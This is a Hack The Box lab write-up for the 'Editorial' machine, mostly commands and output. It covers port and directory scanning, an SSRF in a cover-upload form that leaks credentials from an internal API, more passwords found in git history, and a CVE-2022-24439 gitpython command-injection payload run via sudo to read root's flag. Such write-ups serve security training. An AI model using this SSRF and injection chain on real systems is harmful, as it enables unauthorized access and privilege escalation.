HTB Editorial done
Editorial
OS:
Linux
Technology:
Hugo 0.104.2
IP Address:
10.10.11.20
Open ports:
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.18.0 (Ubuntu)
Users and pass:
SSH login
L: dev
P: dev080217_devAPI!@
---
SSH login
U: prod
P: 080217_Producti0n_2023!@
Nmap
┌──(kali㉿kali)-[~/…/oscp/writeups/HTB/HTB_Editorial]
└─$ sudo nmap -A -sV --script=default -p- -oA 10.10.11.20_nmap 10.10.11.20 ; cat 10.10.11.20_nmap.nmap | grep -E "^[0-9]{1,}/(tcp|udp)"
[sudo] password for kali:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-10 23:01 UTC
Nmap scan report for editorial.htb (10.10.11.20)
Host is up (0.059s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 0d:ed:b2:9c:e2:53:fb:d4:c8:c1:19:6e:75:80:d8:64 (ECDSA)
|_ 256 0f:b9:a7:51:0e:00:d5:7b:5b:7c:5f:bf:2b:ed:53:a0 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Editorial Tiempo Arriba
|_http-server-header: nginx/1.18.0 (Ubuntu)
Add IP to /etc/hosts
┌──(kali㉿kali)-[~/…/oscp/writeups/HTB/HTB_Editorial]
└─$ cat /etc/hosts | grep editorial
10.10.11.20 editorial.htb
Ffuz: http://Editorial.htb
nothing interesting here
---
┌──(kali㉿kali)-[~/…/oscp/writeups/HTB/HTB_Editorial]
└─$ ffuf -u http://editorial.htb/FUZZ -c -w /usr/share/wordlists/dirb/big.txt -ac -recursion -recursion-depth=1 -o editorial.htb_ffuz -of all -e .php,.html,.txt,.bac,.backup
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://editorial.htb/FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/dirb/big.txt
:: Extensions : .php .html .txt .bac .backup
:: Output file : editorial.htb_ffuz.{json,ejson,html,md,csv,ecsv}
:: File format : all
:: Follow redirects : false
:: Calibration : true
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
about [Status: 200, Size: 2939, Words: 492, Lines: 72, Duration: 78ms]
upload [Status: 200, Size: 7140, Words: 1952, Lines: 210, Duration: 52ms]
:: Progress: [122814/122814] :: Job [1/1] :: 858 req/sec :: Duration: [0:02:34] :: Errors: 0 ::
SSRF
Find SSRF
Testing SSRF add local IP address and sent random file, I see that we get jpeg file, we try testing anotther ports for local IP.
Brute force port for : http://127.0.0.1
We get another response (not link to jpeg file) for http://127.0.0.1:5000
SSRF: http:127.0.0.1:5000
I found API endpoints
---
* Read file
┌──(kali㉿kali)-[~/…/oscp/writeups/HTB/HTB_Editorial]
└─$ cat 272aff80-434e-4a52-88a8-d59762bcfe10| jq
{
"messages": [
{
"promotions": {
"description": "Retrieve a list of all the promotions in our library.",
"endpoint": "/api/latest/metadata/messages/promos",
"methods": "GET"
}
},
{
"coupons": {
"description": "Retrieve the list of coupons to use in our library.",
"endpoint": "/api/latest/metadata/messages/coupons",
"methods": "GET"
}
},
{
"new_authors": {
"description": "Retrieve the welcome message sended to our new authors.",
"endpoint": "/api/latest/metadata/messages/authors",
"methods": "GET"
}
},
{
"platform_use": {
"description": "Retrieve examples of how to use the platform.",
"endpoint": "/api/latest/metadata/messages/how_to_use_platform",
"methods": "GET"
}
}
],
"version": [
{
"changelog": {
"description": "Retrieve a list of all the versions and updates of the api.",
"endpoint": "/api/latest/metadata/changelog",
"methods": "GET"
}
},
{
"latest": {
"description": "Retrieve the last version of api.",
"endpoint": "/api/latest/metadata",
"methods": "GET"
}
}
]
}
Sent API request
Find user and password:
L: dev
P: dev080217_devAPI!@
---
Sent request API
http://127.0.0.1:5000/api/latest/metadata/messages/authors
___
POST /upload-cover HTTP/1.1
Host: editorial.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------417947074923700081801951038155
Content-Length: 401
Origin: http://editorial.htb
Connection: keep-alive
Referer: http://editorial.htb/upload
-----------------------------417947074923700081801951038155
Content-Disposition: form-data; name="bookurl"
http://127.0.0.1:5000/api/latest/metadata/messages/authors
-----------------------------417947074923700081801951038155
Content-Disposition: form-data; name="bookfile"; filename=""
Content-Type: application/octet-stream
-----------------------------417947074923700081801951038155--
---
Get response from API endpoints
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Mon, 12 Aug 2024 07:23:47 GMT
Content-Type: application/octet-stream
Content-Length: 506
Connection: keep-alive
Content-Disposition: inline; filename=a942e680-f709-4621-a969-11a4069e30e4
Last-Modified: Mon, 12 Aug 2024 07:23:47 GMT
Cache-Control: no-cache
ETag: "1723447427.8528757-506-3831306121"
{"template_mail_message":"Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: dev\nPassword: dev080217_devAPI!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, Editorial Tiempo Arriba Team."}
SSH login as user: dev
L: dev
P: dev080217_devAPI!@
---
┌──(kali㉿kali)-[~/…/oscp/writeups/HTB/HTB_Editorial]
└─$ ssh [email protected]
The authenticity of host 'editorial.htb (10.10.11.20)' can't be established.
ED25519 key fingerprint is SHA256:YR+ibhVYSWNLe4xyiPA0g45F4p1pNAcQ7+xupfIR70Q.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'editorial.htb' (ED25519) to the list of known hosts.
[email protected]'s password:
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-112-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Mon Aug 12 07:29:53 AM UTC 2024
System load: 0.0
Usage of /: 62.1% of 6.35GB
Memory usage: 18%
Swap usage: 0%
Processes: 225
Users logged in: 0
IPv4 address for eth0: 10.10.11.20
IPv6 address for eth0: dead:beef::250:56ff:fe94:7ec3
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Sun Aug 11 04:30:26 2024 from 10.10.14.3
dev@editorial:~$
Read flag: user.txt
dev@editorial:~$ find / -name "user.txt" 2>/dev/null
/home/dev/user.txt
dev@editorial:~$
dev@editorial:~$ cd /home/dev/
dev@editorial:~$ ls -la
total 40
drwxr-x--- 5 dev dev 4096 Aug 11 04:37 .
drwxr-xr-x 4 root root 4096 Jun 5 14:36 ..
drwxrwxr-x 3 dev dev 4096 Jun 5 14:36 apps
lrwxrwxrwx 1 root root 9 Feb 6 2023 .bash_history -> /dev/null
-rw-r--r-- 1 dev dev 220 Jan 6 2022 .bash_logout
-rw-r--r-- 1 dev dev 3771 Jan 6 2022 .bashrc
drwx------ 2 dev dev 4096 Jun 5 14:36 .cache
drwx------ 3 dev dev 4096 Aug 11 04:34 .gnupg
-rw------- 1 dev dev 20 Aug 11 04:37 .lesshst
-rw-r--r-- 1 dev dev 807 Jan 6 2022 .profile
-rw-r----- 1 root dev 33 Aug 11 00:20 user.txt
dev@editorial:~$
dev@editorial:~$ cat user.txt ; id ; ip a
45aa08cf286b2ba6f8731a5e15a6dff8
uid=1001(dev) gid=1001(dev) groups=1001(dev)
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
link/ether 00:50:56:94:7e:c3 brd ff:ff:ff:ff:ff:ff
altname enp3s0
altname ens160
inet 10.10.11.20/23 brd 10.10.11.255 scope global eth0
valid_lft forever preferred_lft forever
inet6 dead:beef::250:56ff:fe94:7ec3/64 scope global dynamic mngtmpaddr
valid_lft 86397sec preferred_lft 14397sec
inet6 fe80::250:56ff:fe94:7ec3/64 scope link
valid_lft forever preferred_lft forever
dev@editorial:~$
Read details about app (git)
dev@editorial:~$ cd apps/
dev@editorial:~/apps$ ls
dev@editorial:~/apps$ ls -la
total 12
drwxrwxr-x 3 dev dev 4096 Jun 5 14:36 .
drwxr-x--- 5 dev dev 4096 Aug 11 04:37 ..
drwxr-xr-x 8 dev dev 4096 Jun 5 14:36 .git
dev@editorial:~/apps$ cd .git/
dev@editorial:~/apps/.git$ ls
branches COMMIT_EDITMSG config description HEAD hooks index info logs objects refs
dev@editorial:~/apps/.git$ ls -la
total 56
drwxr-xr-x 8 dev dev 4096 Jun 5 14:36 .
drwxrwxr-x 3 dev dev 4096 Jun 5 14:36 ..
drwxr-xr-x 2 dev dev 4096 Jun 5 14:36 branches
-rw-r--r-- 1 dev dev 253 Jun 4 11:30 COMMIT_EDITMSG
-rw-r--r-- 1 dev dev 177 Jun 4 11:30 config
-rw-r--r-- 1 dev dev 73 Jun 4 11:30 description
-rw-r--r-- 1 dev dev 23 Jun 4 11:30 HEAD
drwxr-xr-x 2 dev dev 4096 Jun 5 14:36 hooks
-rw-r--r-- 1 dev dev 6163 Jun 4 11:30 index
drwxr-xr-x 2 dev dev 4096 Jun 5 14:36 info
drwxr-xr-x 3 dev dev 4096 Jun 5 14:36 logs
drwxr-xr-x 70 dev dev 4096 Jun 5 14:36 objects
drwxr-xr-x 4 dev dev 4096 Jun 5 14:36 refs
dev@editorial:~/apps/.git$ git log
commit 8ad0f3187e2bda88bba85074635ea942974587e8 (HEAD -> master)
Author: dev-carlos.valderrama <[email protected]>
Date: Sun Apr 30 21:04:21 2023 -0500
fix: bugfix in api port endpoint
commit dfef9f20e57d730b7d71967582035925d57ad883
Author: dev-carlos.valderrama <[email protected]>
Date: Sun Apr 30 21:01:11 2023 -0500
change: remove debug and update api port
commit b73481bb823d2dfb49c44f4c1e6a7e11912ed8ae
Author: dev-carlos.valderrama <[email protected]>
Date: Sun Apr 30 20:55:08 2023 -0500
change(api): downgrading prod to dev
* To use development environment.
commit 1e84a036b2f33c59e2390730699a488c65643d28
Author: dev-carlos.valderrama <[email protected]>
Date: Sun Apr 30 20:51:10 2023 -0500
feat: create api to editorial info
* It (will) contains internal info about the editorial, this enable
faster access to information.
commit 3251ec9e8ffdd9b938e83e3b9fbf5fd1efa9bbb8
Author: dev-carlos.valderrama <[email protected]>
Date: Sun Apr 30 20:48:43 2023 -0500
feat: create editorial app
* This contains the base of this project.
* Also we add a feature to enable to external authors send us their
books and validate a future post in our editorial.
git show: 1e84a036b2f33c59e2390730699a488c65643d28
Found a new creds:
U: prod
P: 080217_Producti0n_2023!@
---
dev@editorial:~/apps/.git$ git show 1e84a036b2f33c59e2390730699a488c65643d28
commit 1e84a036b2f33c59e2390730699a488c65643d28
Author: dev-carlos.valderrama <[email protected]>
Date: Sun Apr 30 20:51:10 2023 -0500
feat: create api to editorial info
* It (will) contains internal info about the editorial, this enable
faster access to information.
diff --git a/app_api/app.py b/app_api/app.py
new file mode 100644
index 0000000..61b786f
--- /dev/null
+++ b/app_api/app.py
@@ -0,0 +1,74 @@
+# API (in development).
+# * To retrieve info about editorial
+
+import json
+from flask import Flask, jsonify
+
+# -------------------------------
+# App configuration
+# -------------------------------
+app = Flask(__name__)
+
+# -------------------------------
+# Global Variables
+# -------------------------------
+api_route = "/api/latest/metadata"
+api_editorial_name = "Editorial Tiempo Arriba"
+api_editorial_email = "[email protected]"
+
+# -------------------------------
+# API routes
+# -------------------------------
+# -- : home
[email protected]('/api', methods=['GET'])
+def index():
+ data_editorial = {
+ 'version': [{
+ '1': {
+ 'editorial': 'Editorial El Tiempo Por Arriba',
+ 'contact_email_1': '[email protected]',
+ 'contact_email_2': '[email protected]',
+ 'api_route': '/api/v1/metadata/'
+ }},
+ {
+ '1.1': {
+ 'editorial': 'Ed Tiempo Arriba',
+ 'contact_email_1': '[email protected]',
+ 'contact_email_2': '[email protected]',
+ 'api_route': '/api/v1.1/metadata/'
+ }},
+ {
+ '1.2': {
+ 'editorial': api_editorial_name,
+ 'contact_email_1': '[email protected]',
+ 'contact_email_2': '[email protected]',
+ 'api_route': f'/api/v1.2/metadata/'
+ }},
+ {
+ '2': {
+ 'editorial': api_editorial_name,
+ 'contact_email': '[email protected]',
+ 'api_route': f'/api/v2/metadata/'
+ }},
+ {
+ '2.3': {
+ 'editorial': api_editorial_name,
+ 'contact_email': api_editorial_email,
+ 'api_route': f'{api_route}/'
+ }
+ }]
+ }
+ return jsonify(data_editorial)
+
+# -- : (development) mail message to new authors
[email protected](api_route + '/authors/message', methods=['GET'])
+def api_mail_new_authors():
+ return jsonify({
+ 'template_mail_message': "Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: prod\nPassword: 080217_Producti0n_2023!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, " + api_editorial_name + " Team."
+ }) # TODO: replace dev credentials when checks pass
+
+# -------------------------------
+# Start program
+# -------------------------------
+if __name__ == '__main__':
+ app.run(host='127.0.0.1', port=5001, debug=True)
dev@editorial:~/apps/.git$
SSH login as user: prod
U: prod
P: 080217_Producti0n_2023!@
---
dev@editorial:~/apps/.git$ su prod
Password:
prod@editorial:/home/dev/apps/.git$
prod@editorial:/home/dev/apps/.git$ id
uid=1000(prod) gid=1000(prod) groups=1000(prod)
prod@editorial:/home/dev/apps/.git$
prod@editorial:/home/dev/apps/.git$ sudo -i
Sorry, user prod is not allowed to execute '/bin/bash' as root on editorial.
prod@editorial:/home/dev/apps/.git$ sudo -l
Matching Defaults entries for prod on editorial:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User prod may run the following commands on editorial:
(root) /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py *
prod@editorial:/home/dev/apps/.git$
Read more about location: /opt/internal_apps/clone_changes/clone_prod_change.py
prod@editorial:/home/dev/apps/.git$ ls -l /opt/internal_apps/clone_changes/clone_prod_change.py
-rwxr-x--- 1 root prod 256 Jun 4 11:30 /opt/internal_apps/clone_changes/clone_prod_change.py
prod@editorial:/home/dev/apps/.git$
prod@editorial:/home/dev/apps/.git$ cat /opt/internal_apps/clone_changes/clone_prod_change.py
#!/usr/bin/python3
import os
import sys
from git import Repo
os.chdir('/opt/internal_apps/clone_changes')
url_to_clone = sys.argv[1]
r = Repo.init('', bare=True)
r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])
Exploit: CVE-2022-24439: Remote Code Execution RCE in gitpython
https://security.snyk.io/vuln/SNYK-PYTHON-GITPYTHON-3113858
Create payload
After read artical about this vuln I create a custom payload:
prod@editorial:~$ sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c cat% /root/root.txt% >% /tmp/root'
Traceback (most recent call last):
File "/opt/internal_apps/clone_changes/clone_prod_change.py", line 12, in <module>
r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])
File "/usr/local/lib/python3.10/dist-packages/git/repo/base.py", line 1275, in clone_from
return cls._clone(git, url, to_path, GitCmdObjectDB, progress, multi_options, **kwargs)
File "/usr/local/lib/python3.10/dist-packages/git/repo/base.py", line 1194, in _clone
finalize_process(proc, stderr=stderr)
File "/usr/local/lib/python3.10/dist-packages/git/util.py", line 419, in finalize_process
proc.wait(**kwargs)
File "/usr/local/lib/python3.10/dist-packages/git/cmd.py", line 559, in wait
raise GitCommandError(remove_password_if_present(self.args), status, errstr)
git.exc.GitCommandError: Cmd('git') failed due to: exit code(128)
cmdline: git clone -v -c protocol.ext.allow=always ext::sh -c cat% /root/root.txt% >% /tmp/root new_changes
stderr: 'Cloning into 'new_changes'...
fatal: Could not read from remote repository.
Please make sure you have the correct access rights
and the repository exists.
'
Read flag: root.txt
prod@editorial:~$ cat /tmp/root
ab7d6ab370b99b9d61de28d18494e652
prod@editorial:~$
References
[CVE-2022-24439: Remote Code Execution (RCE) in gitpython](https://security.snyk.io/vuln/SNYK-PYTHON-GITPYTHON-3113858)
Lessons Learned